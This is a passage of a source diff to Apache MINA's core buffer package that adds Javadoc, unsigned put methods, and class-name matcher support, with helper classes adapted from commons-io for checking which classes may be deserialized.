buf.expand(pos, expectedRemaining); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer expand(int expectedRemaining) { buf.expand(expectedRemaining); return this; } + /** + * {@inheritDoc} + */ @Override public Object getObject() throws ClassNotFoundException { return buf.getObject(); } + /** + * {@inheritDoc} + */ @Override - public Object getObject(ClassLoader classLoader) - throws ClassNotFoundException { + public Object getObject(ClassLoader classLoader) throws ClassNotFoundException { return buf.getObject(classLoader); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putObject(Object o) { buf.putObject(o); return this; } + /** + * {@inheritDoc} + */ @Override public InputStream asInputStream() { return buf.asInputStream(); } + /** + * {@inheritDoc} + */ @Override public OutputStream asOutputStream() { return buf.asOutputStream(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer duplicate() { return buf.duplicate(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer slice() { return buf.slice(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer asReadOnlyBuffer() { return buf.asReadOnlyBuffer(); } + /** + * {@inheritDoc} + */ @Override public byte[] array() { return buf.array(); } + /** + * {@inheritDoc} + */ @Override public int arrayOffset() { return buf.arrayOffset(); } + /** + * {@inheritDoc} + */ @Override public int minimumCapacity() { return buf.minimumCapacity(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer minimumCapacity(int minimumCapacity) { buf.minimumCapacity(minimumCapacity); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer capacity(int newCapacity) { buf.capacity(newCapacity); return this; } + /** + * {@inheritDoc} + */ @Override public boolean isReadOnly() { return buf.isReadOnly(); } + /** + * {@inheritDoc} + */ @Override public int markValue() { return buf.markValue(); } + /** + * {@inheritDoc} + */ @Override public boolean hasArray() { return buf.hasArray(); } + /** + * {@inheritDoc} + */ @Override public void free() { buf.free(); } + /** + * {@inheritDoc} + */ @Override public boolean isDerived() { return buf.isDerived(); } + /** + * {@inheritDoc} + */ @Override public boolean isAutoShrink() { return buf.isAutoShrink(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer setAutoShrink(boolean autoShrink) { buf.setAutoShrink(autoShrink); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer shrink() { buf.shrink(); return this; } + /** + * {@inheritDoc} + */ @Override public int getMediumInt() { return buf.getMediumInt(); } + /** + * {@inheritDoc} + */ @Override public int getUnsignedMediumInt() { return buf.getUnsignedMediumInt(); } + /** + * {@inheritDoc} + */ @Override public int getMediumInt(int index) { return buf.getMediumInt(index); } + /** + * {@inheritDoc} + */ @Override public int getUnsignedMediumInt(int index) { return buf.getUnsignedMediumInt(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putMediumInt(int value) { buf.putMediumInt(value); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer putMediumInt(int index, int value) { buf.putMediumInt(index, value); return this; } - @Override - public String getHexDump(int lengthLimit) { - return buf.getHexDump(lengthLimit); - } - + /** + * {@inheritDoc} + */ @Override public boolean prefixedDataAvailable(int prefixLength) { return buf.prefixedDataAvailable(prefixLength); } + /** + * {@inheritDoc} + */ @Override public boolean prefixedDataAvailable(int prefixLength, int maxDataLength) { return buf.prefixedDataAvailable(prefixLength, maxDataLength); } + /** + * {@inheritDoc} + */ @Override public int indexOf(byte b) { return buf.indexOf(b); } + /** + * {@inheritDoc} + */ @Override public > E getEnum(Class enumClass) { return buf.getEnum(enumClass); } + /** + * {@inheritDoc} + */ @Override public > E getEnum(int index, Class enumClass) { return buf.getEnum(index, enumClass); } + /** + * {@inheritDoc} + */ @Override public > E getEnumShort(Class enumClass) { return buf.getEnumShort(enumClass); } + /** + * {@inheritDoc} + */ @Override public > E getEnumShort(int index, Class enumClass) { return buf.getEnumShort(index, enumClass); } + /** + * {@inheritDoc} + */ @Override public > E getEnumInt(Class enumClass) { return buf.getEnumInt(enumClass); } + /** + * {@inheritDoc} + */ @Override public > E getEnumInt(int index, Class enumClass) { return buf.getEnumInt(index, enumClass); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putEnum(Enum e) { buf.putEnum(e); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer putEnum(int index, Enum e) { buf.putEnum(index, e); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer putEnumShort(Enum e) { buf.putEnumShort(e); @@ -798,103 +1316,260 @@ public IoBuffer putEnumShort(int index, Enum e) { return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer putEnumInt(Enum e) { buf.putEnumInt(e); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer putEnumInt(int index, Enum e) { buf.putEnumInt(index, e); return this; } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSet(Class enumClass) { + public > Set getEnumSet(Class enumClass) { return buf.getEnumSet(enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSet(int index, Class enumClass) { + public > Set getEnumSet(int index, Class enumClass) { return buf.getEnumSet(index, enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSetShort(Class enumClass) { + public > Set getEnumSetShort(Class enumClass) { return buf.getEnumSetShort(enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSetShort(int index, Class enumClass) { + public > Set getEnumSetShort(int index, Class enumClass) { return buf.getEnumSetShort(index, enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSetInt(Class enumClass) { + public > Set getEnumSetInt(Class enumClass) { return buf.getEnumSetInt(enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSetInt(int index, Class enumClass) { + public > Set getEnumSetInt(int index, Class enumClass) { return buf.getEnumSetInt(index, enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSetLong(Class enumClass) { + public > Set getEnumSetLong(Class enumClass) { return buf.getEnumSetLong(enumClass); } + /** + * {@inheritDoc} + */ @Override - public > EnumSet getEnumSetLong(int index, Class enumClass) { + public > Set getEnumSetLong(int index, Class enumClass) { return buf.getEnumSetLong(index, enumClass); } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSet(Set set) { buf.putEnumSet(set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSet(int index, Set set) { buf.putEnumSet(index, set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSetShort(Set set) { buf.putEnumSetShort(set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSetShort(int index, Set set) { buf.putEnumSetShort(index, set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSetInt(Set set) { buf.putEnumSetInt(set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSetInt(int index, Set set) { buf.putEnumSetInt(index, set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSetLong(Set set) { buf.putEnumSetLong(set); return this; } + /** + * {@inheritDoc} + */ @Override public > IoBuffer putEnumSetLong(int index, Set set) { buf.putEnumSetLong(index, set); return this; } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(byte value) { + buf.putUnsigned(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, byte value) { + buf.putUnsigned(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(short value) { + buf.putUnsigned(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, short value) { + buf.putUnsigned(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int value) { + buf.putUnsigned(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, int value) { + buf.putUnsigned(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(long value) { + buf.putUnsigned(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsigned(int index, long value) { + buf.putUnsigned(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer accept(ClassNameMatcher m) { + return buf.accept(m); + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer accept(Pattern pattern) { + return buf.accept(pattern); + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer accept(String... patterns) { + return buf.accept(patterns); + } + + /** + * {@inheritDoc} + */ + public void setMatchers(List matchers) { + buf.setMatchers(matchers); + } } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/SimpleBufferAllocator.java b/mina-core/src/main/java/org/apache/mina/core/buffer/SimpleBufferAllocator.java index f4aa44cadd..61bc5ba6e7 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/SimpleBufferAllocator.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/SimpleBufferAllocator.java @@ -22,8 +22,6 @@ import java.nio.ByteBuffer; import java.nio.ByteOrder; - - /** * A simplistic {@link IoBufferAllocator} which simply allocates a new * buffer every time. @@ -35,7 +33,7 @@ public class SimpleBufferAllocator implements IoBufferAllocator { public IoBuffer allocate(int capacity, boolean direct) { return wrap(allocateNioBuffer(capacity, direct)); } - + public ByteBuffer allocateNioBuffer(int capacity, boolean direct) { ByteBuffer nioBuffer; if (direct) { @@ -72,7 +70,7 @@ protected SimpleBuffer(SimpleBuffer parent, ByteBuffer buf) { public ByteBuffer buf() { return buf; } - + @Override protected void buf(ByteBuffer buf) { this.buf = buf; diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java new file mode 100644 index 0000000000..a5620b48cc --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java @@ -0,0 +1,34 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.mina.core.buffer.matcher; + +/** + * An object that matches a Class name to a condition. + * + * This class is extracted from Apache commons-io project + */ +public interface ClassNameMatcher { + /** + * Returns {@code true} if the supplied class name matches this object's condition. + * + * @param className fully qualified class name + * @return {@code true} if the class name matches this object's condition + */ + boolean matches(String className); +} \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java new file mode 100644 index 0000000000..19a8abe67c --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java @@ -0,0 +1,528 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.mina.core.buffer.matcher; + +import java.util.Arrays; +import java.util.Locale; +import java.util.Objects; + +/** + * Abstracts an OS' file system details, currently supporting the single use case of converting a file name String to a + * legal file name with {@link #toLegalFileName(String, char)}. + *

+ * The starting point of any operation is {@link #getCurrent()} which gets you the enum for the file system that matches + * the OS hosting the running JVM. + *

+ * + * @since 2.7 + * + * This class is extracted from Apache commons-io project + */ +public enum FileSystem { + + /** + * Generic file system. + */ + GENERIC(4096, false, false, Integer.MAX_VALUE, Integer.MAX_VALUE, new int[] { 0 }, new String[] {}, false, false, '/'), + + /** + * Linux file system. + */ + LINUX(8192, true, true, 255, 4096, new int[] { + // KEEP THIS ARRAY SORTED! + // @formatter:off + // ASCII NUL + 0, + '/' + // @formatter:on + }, new String[] {}, false, false, '/'), + + /** + * MacOS file system. + */ + MAC_OSX(4096, true, true, 255, 1024, new int[] { + // KEEP THIS ARRAY SORTED! + // @formatter:off + // ASCII NUL + 0, + '/', + ':' + // @formatter:on + }, new String[] {}, false, false, '/'), + + /** + * Windows file system. + *

+ * The reserved characters are defined in the + * Naming Conventions + * (microsoft.com). + *

+ * + * @see Naming Conventions + * (microsoft.com) + * @see + * CreateFileA function - Consoles (microsoft.com) + */ + WINDOWS(4096, false, true, + 255, 32000, // KEEP THIS ARRAY SORTED! + new int[] { + // KEEP THIS ARRAY SORTED! + // @formatter:off + // ASCII NUL + 0, + // 1-31 may be allowed in file streams + 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, + 29, 30, 31, + '"', '*', '/', ':', '<', '>', '?', '\\', '|' + // @formatter:on + }, new String[] { "AUX", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "CON", "CONIN$", "CONOUT$", + "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9", "NUL", "PRN" }, true, true, '\\'); + + /** + *

+ * Is {@code true} if this is Linux. + *

+ *

+ * The field will return {@code false} if {@code OS_NAME} is {@code null}. + *

+ */ + private static final boolean IS_OS_LINUX = getOsMatchesName("Linux"); + + /** + *

+ * Is {@code true} if this is Mac. + *

+ *

+ * The field will return {@code false} if {@code OS_NAME} is {@code null}. + *

+ */ + private static final boolean IS_OS_MAC = getOsMatchesName("Mac"); + + /** + * The prefix String for all Windows OS. + */ + private static final String OS_NAME_WINDOWS_PREFIX = "Windows"; + + /** + *

+ * Is {@code true} if this is Windows. + *

+ *

+ * The field will return {@code false} if {@code OS_NAME} is {@code null}. + *

+ */ + private static final boolean IS_OS_WINDOWS = getOsMatchesName(OS_NAME_WINDOWS_PREFIX); + + /** + * The current FileSystem. + */ + private static final FileSystem CURRENT = current(); + + /** + * Gets the current file system. + * + * @return the current file system + */ + private static FileSystem current() { + if (IS_OS_LINUX) { + return LINUX; + } + if (IS_OS_MAC) { + return MAC_OSX; + } + if (IS_OS_WINDOWS) { + return WINDOWS; + } + return GENERIC; + } + + /** + * Gets the current file system. + * + * @return the current file system + */ + public static FileSystem getCurrent() { + return CURRENT; + } + + /** + * Decides if the operating system matches. + * + * @param osNamePrefix + * the prefix for the os name + * @return true if matches, or false if not or can't determine + */ + private static boolean getOsMatchesName(final String osNamePrefix) { + return isOsNameMatch(getSystemProperty("os.name"), osNamePrefix); + } + + /** + *

+ * Gets a System property, defaulting to {@code null} if the property cannot be read. + *

+ *

+ * If a {@link SecurityException} is caught, the return value is {@code null} and a message is written to + * {@code System.err}. + *

+ * + * @param property + * the system property name + * @return the system property value or {@code null} if a security problem occurs + */ + private static String getSystemProperty(final String property) { + try { + return System.getProperty(property); + } catch (final SecurityException ex) { + // we are not allowed to look at this property + System.err.println("Caught a SecurityException reading the system property '" + property + + "'; the SystemUtils property value will default to null."); + return null; + } + } + + /** + * Copied from Apache Commons Lang CharSequenceUtils. + * + * Returns the index within {@code cs} of the first occurrence of the + * specified character, starting the search at the specified index. + *

+ * If a character with value {@code searchChar} occurs in the + * character sequence represented by the {@code cs} + * object at an index no smaller than {@code start}, then + * the index of the first such occurrence is returned. For values + * of {@code searchChar} in the range from 0 to 0xFFFF (inclusive), + * this is the smallest value k such that: + *

+ *
+     * (this.charAt(k) == searchChar) && (k >= start)
+     * 
+ * is true. For other values of {@code searchChar}, it is the + * smallest value k such that: + *
+     * (this.codePointAt(k) == searchChar) && (k >= start)
+     * 
+ *

+ * is true. In either case, if no such character occurs inm {@code cs} + * at or after position {@code start}, then + * {@code -1} is returned. + *

+ *

+ * There is no restriction on the value of {@code start}. If it + * is negative, it has the same effect as if it were zero: the entire + * {@link CharSequence} may be searched. If it is greater than + * the length of {@code cs}, it has the same effect as if it were + * equal to the length of {@code cs}: {@code -1} is returned. + *

+ *

All indices are specified in {@code char} values + * (Unicode code units). + *

+ * + * @param cs the {@link CharSequence} to be processed, not null + * @param searchChar the char to be searched for + * @param start the start index, negative starts at the string start + * @return the index where the search char was found, -1 if not found + * @since 3.6 updated to behave more like {@link String} + */ + private static int indexOf(final CharSequence cs, final int searchChar, int start) { + if (cs instanceof String) { + return ((String) cs).indexOf(searchChar, start); + } + final int sz = cs.length(); + if (start < 0) { + start = 0; + } + if (searchChar < Character.MIN_SUPPLEMENTARY_CODE_POINT) { + for (int i = start; i < sz; i++) { + if (cs.charAt(i) == searchChar) { + return i; + } + } + return -1; + } + //supplementary characters (LANG1300) + if (searchChar <= Character.MAX_CODE_POINT) { + final char[] chars = Character.toChars(searchChar); + for (int i = start; i < sz - 1; i++) { + final char high = cs.charAt(i); + final char low = cs.charAt(i + 1); + if (high == chars[0] && low == chars[1]) { + return i; + } + } + } + return -1; + } + + /** + * Decides if the operating system matches. + *

+ * This method is package private instead of private to support unit test invocation. + *

+ * + * @param osName + * the actual OS name + * @param osNamePrefix + * the prefix for the expected OS name + * @return true if matches, or false if not or can't determine + */ + private static boolean isOsNameMatch(final String osName, final String osNamePrefix) { + if (osName == null) { + return false; + } + return osName.toUpperCase(Locale.ROOT).startsWith(osNamePrefix.toUpperCase(Locale.ROOT)); + } + + /** + * Null-safe replace. + * + * @param path the path to be changed, null ignored. + * @param oldChar the old character. + * @param newChar the new character. + * @return the new path. + */ + private static String replace(final String path, final char oldChar, final char newChar) { + return path == null ? null : path.replace(oldChar, newChar); + } + + private final int blockSize; + private final boolean casePreserving; + private final boolean caseSensitive; + private final int[] illegalFileNameChars; + private final int maxFileNameLength; + private final int maxPathLength; + private final String[] reservedFileNames; + private final boolean reservedFileNamesExtensions; + private final boolean supportsDriveLetter; + private final char nameSeparator; + private final char nameSeparatorOther; + + /** + * Constructs a new instance. + * + * @param blockSize file allocation block size in bytes. + * @param caseSensitive Whether this file system is case-sensitive. + * @param casePreserving Whether this file system is case-preserving. + * @param maxFileLength The maximum length for file names. The file name does not include folders. + * @param maxPathLength The maximum length of the path to a file. This can include folders. + * @param illegalFileNameChars Illegal characters for this file system. + * @param reservedFileNames The reserved file names. + * @param reservedFileNamesExtensions TODO + * @param supportsDriveLetter Whether this file system support driver letters. + * @param nameSeparator The name separator, '\\' on Windows, '/' on Linux. + */ + FileSystem(final int blockSize, final boolean caseSensitive, final boolean casePreserving, + final int maxFileLength, final int maxPathLength, final int[] illegalFileNameChars, + final String[] reservedFileNames, final boolean reservedFileNamesExtensions, final boolean supportsDriveLetter, final char nameSeparator) { + this.blockSize = blockSize; + this.maxFileNameLength = maxFileLength; + this.maxPathLength = maxPathLength; + this.illegalFileNameChars = Objects.requireNonNull(illegalFileNameChars, "illegalFileNameChars"); + this.reservedFileNames = Objects.requireNonNull(reservedFileNames, "reservedFileNames"); + this.reservedFileNamesExtensions = reservedFileNamesExtensions; + this.caseSensitive = caseSensitive; + this.casePreserving = casePreserving; + this.supportsDriveLetter = supportsDriveLetter; + this.nameSeparator = nameSeparator; + this.nameSeparatorOther = FilenameUtils.flipSeparator(nameSeparator); + } + + /** + * Gets the file allocation block size in bytes. + * @return the file allocation block size in bytes. + * + * @since 2.12.0 + */ + public int getBlockSize() { + return blockSize; + } + + /** + * Gets a cloned copy of the illegal characters for this file system. + * + * @return the illegal characters for this file system. + */ + public char[] getIllegalFileNameChars() { + final char[] chars = new char[illegalFileNameChars.length]; + for (int i = 0; i < illegalFileNameChars.length; i++) { + chars[i] = (char) illegalFileNameChars[i]; + } + return chars; + } + + /** + * Gets a cloned copy of the illegal code points for this file system. + * + * @return the illegal code points for this file system. + * @since 2.12.0 + */ + public int[] getIllegalFileNameCodePoints() { + return this.illegalFileNameChars.clone(); + } + + /** + * Gets the maximum length for file names. The file name does not include folders. + * + * @return the maximum length for file names. + */ + public int getMaxFileNameLength() { + return maxFileNameLength; + } + + /** + * Gets the maximum length of the path to a file. This can include folders. + * + * @return the maximum length of the path to a file. + */ + public int getMaxPathLength() { + return maxPathLength; + } + + /** + * Gets the name separator, '\\' on Windows, '/' on Linux. + * + * @return '\\' on Windows, '/' on Linux. + * + * @since 2.12.0 + */ + public char getNameSeparator() { + return nameSeparator; + } + + /** + * Gets a cloned copy of the reserved file names. + * + * @return the reserved file names. + */ + public String[] getReservedFileNames() { + return reservedFileNames.clone(); + } + + /** + * Tests whether this file system preserves case. + * + * @return Whether this file system preserves case. + */ + public boolean isCasePreserving() { + return casePreserving; + } + + /** + * Tests whether this file system is case-sensitive. + * + * @return Whether this file system is case-sensitive. + */ + public boolean isCaseSensitive() { + return caseSensitive; + } + + /** + * Tests if the given character is illegal in a file name, {@code false} otherwise. + * + * @param c + * the character to test + * @return {@code true} if the given character is illegal in a file name, {@code false} otherwise. + */ + private boolean isIllegalFileNameChar(final int c) { + return Arrays.binarySearch(illegalFileNameChars, c) >= 0; + } + + /** + * Tests if a candidate file name (without a path) such as {@code "filename.ext"} or {@code "filename"} is a + * potentially legal file name. If the file name length exceeds {@link #getMaxFileNameLength()}, or if it contains + * an illegal character then the check fails. + * + * @param candidate + * a candidate file name (without a path) like {@code "filename.ext"} or {@code "filename"} + * @return {@code true} if the candidate name is legal + */ + public boolean isLegalFileName(final CharSequence candidate) { + if (candidate == null || candidate.length() == 0 || candidate.length() > maxFileNameLength) { + return false; + } + if (isReservedFileName(candidate)) { + return false; + } + return candidate.chars().noneMatch(this::isIllegalFileNameChar); + } + + /** + * Tests whether the given string is a reserved file name. + * + * @param candidate + * the string to test + * @return {@code true} if the given string is a reserved file name. + */ + public boolean isReservedFileName(final CharSequence candidate) { + final CharSequence test = reservedFileNamesExtensions ? trimExtension(candidate) : candidate; + return Arrays.binarySearch(reservedFileNames, test) >= 0; + } + + /** + * Converts all separators to the Windows separator of backslash. + * + * @param path the path to be changed, null ignored + * @return the updated path + * @since 2.12.0 + */ + public String normalizeSeparators(final String path) { + return replace(path, nameSeparatorOther, nameSeparator); + } + + /** + * Tests whether this file system support driver letters. + *

+ * Windows supports driver letters as do other operating systems. Whether these other OS's still support Java like + * OS/2, is a different matter. + *

+ * + * @return whether this file system support driver letters. + * @since 2.9.0 + * @see Operating systems that use drive letter + * assignment + */ + public boolean supportsDriveLetter() { + return supportsDriveLetter; + } + + /** + * Converts a candidate file name (without a path) like {@code "filename.ext"} or {@code "filename"} to a legal file + * name. Illegal characters in the candidate name are replaced by the {@code replacement} character. If the file + * name length exceeds {@link #getMaxFileNameLength()}, then the name is truncated to + * {@link #getMaxFileNameLength()}. + * + * @param candidate + * a candidate file name (without a path) like {@code "filename.ext"} or {@code "filename"} + * @param replacement + * Illegal characters in the candidate name are replaced by this character + * @return a String without illegal characters + */ + public String toLegalFileName(final String candidate, final char replacement) { + if (isIllegalFileNameChar(replacement)) { + // %s does not work properly with NUL + throw new IllegalArgumentException(String.format("The replacement character '%s' cannot be one of the %s illegal characters: %s", + replacement == '\0' ? "\\0" : replacement, name(), Arrays.toString(illegalFileNameChars))); + } + final String truncated = candidate.length() > maxFileNameLength ? candidate.substring(0, maxFileNameLength) : candidate; + final int[] array = truncated.chars().map(i -> isIllegalFileNameChar(i) ? replacement : i).toArray(); + return new String(array, 0, array.length); + } + + CharSequence trimExtension(final CharSequence cs) { + final int index = indexOf(cs, '.', 0); + return index < 0 ? cs : cs.subSequence(0, index); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java new file mode 100644 index 0000000000..426e4ab98d --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java @@ -0,0 +1,177 @@ +package org.apache.mina.core.buffer.matcher; + +import java.util.ArrayDeque; +import java.util.ArrayList; +import java.util.Deque; + +/** + * This class is extracted from Apache commons-io project + */ +public class FilenameUtils +{ + private static final int NOT_FOUND = -1; + + private static final String[] EMPTY_STRING_ARRAY = {}; + + /** + * The Unix separator character. + */ + private static final char UNIX_NAME_SEPARATOR = '/'; + + /** + * The Windows separator character. + */ + private static final char WINDOWS_NAME_SEPARATOR = '\\'; + + /** + * Checks a fileName to see if it matches the specified wildcard matcher + * allowing control over case-sensitivity. + *

+ * The wildcard matcher uses the characters '?' and '*' to represent a + * single or multiple (zero or more) wildcard characters. + * N.B. the sequence "*?" does not work properly at present in match strings. + * + * @param fileName the fileName to match on + * @param wildcardMatcher the wildcard string to match against + * @param ioCase what case sensitivity rule to use, null means case-sensitive + * @return true if the fileName matches the wildcard string + * @since 1.3 + */ + public static boolean wildcardMatch(final String fileName, final String wildcardMatcher, IOCase ioCase) { + if (fileName == null && wildcardMatcher == null) { + return true; + } + if (fileName == null || wildcardMatcher == null) { + return false; + } + ioCase = IOCase.value(ioCase, IOCase.SENSITIVE); + final String[] wcs = splitOnTokens(wildcardMatcher); + boolean anyChars = false; + int textIdx = 0; + int wcsIdx = 0; + final Deque backtrack = new ArrayDeque<>(wcs.length); + + // loop around a backtrack stack, to handle complex * matching + do { + if (!backtrack.isEmpty()) { + final int[] array = backtrack.pop(); + wcsIdx = array[0]; + textIdx = array[1]; + anyChars = true; + } + + // loop whilst tokens and text left to process + while (wcsIdx < wcs.length) { + + if (wcs[wcsIdx].equals("?")) { + // ? so move to next text char + textIdx++; + if (textIdx > fileName.length()) { + break; + } + anyChars = false; + + } else if (wcs[wcsIdx].equals("*")) { + // set any chars status + anyChars = true; + if (wcsIdx == wcs.length - 1) { + textIdx = fileName.length(); + } + + } else { + // matching text token + if (anyChars) { + // any chars then try to locate text token + textIdx = ioCase.checkIndexOf(fileName, textIdx, wcs[wcsIdx]); + if (textIdx == NOT_FOUND) { + // token not found + break; + } + final int repeat = ioCase.checkIndexOf(fileName, textIdx + 1, wcs[wcsIdx]); + if (repeat >= 0) { + backtrack.push(new int[] {wcsIdx, repeat}); + } + } else if (!ioCase.checkRegionMatches(fileName, textIdx, wcs[wcsIdx])) { + // matching from current position + // couldn't match token + break; + } + + // matched text token, move text index to end of matched token + textIdx += wcs[wcsIdx].length(); + anyChars = false; + } + + wcsIdx++; + } + + // full match + if (wcsIdx == wcs.length && textIdx == fileName.length()) { + return true; + } + + } while (!backtrack.isEmpty()); + + return false; + } + + + /** + * Splits a string into a number of tokens. + * The text is split by '?' and '*'. + * Where multiple '*' occur consecutively they are collapsed into a single '*'. + * + * @param text the text to split + * @return the array of tokens, never null + */ + static String[] splitOnTokens(final String text) { + // used by wildcardMatch + // package level so a unit test may run on this + + if (text.indexOf('?') == NOT_FOUND && text.indexOf('*') == NOT_FOUND) { + return new String[] { text }; + } + + final char[] array = text.toCharArray(); + final ArrayList list = new ArrayList<>(); + final StringBuilder buffer = new StringBuilder(); + char prevChar = 0; + for (final char ch : array) { + if (ch == '?' || ch == '*') { + if (buffer.length() != 0) { + list.add(buffer.toString()); + buffer.setLength(0); + } + if (ch == '?') { + list.add("?"); + } else if (prevChar != '*') {// ch == '*' here; check if previous char was '*' + list.add("*"); + } + } else { + buffer.append(ch); + } + prevChar = ch; + } + if (buffer.length() != 0) { + list.add(buffer.toString()); + } + + return list.toArray(EMPTY_STRING_ARRAY); + } + + /** + * Flips the Windows name separator to Linux and vice-versa. + * + * @param ch The Windows or Linux name separator. + * @return The Windows or Linux name separator. + */ + static char flipSeparator(final char ch) { + if (ch == UNIX_NAME_SEPARATOR) { + return WINDOWS_NAME_SEPARATOR; + } + if (ch == WINDOWS_NAME_SEPARATOR) { + return UNIX_NAME_SEPARATOR; + } + throw new IllegalArgumentException(String.valueOf(ch)); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java new file mode 100644 index 0000000000..515cfee61f --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java @@ -0,0 +1,50 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.mina.core.buffer.matcher; + +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +/** + * A {@link ClassNameMatcher} that matches on full class names. + *

+ * This object is immutable and thread-safe. + *

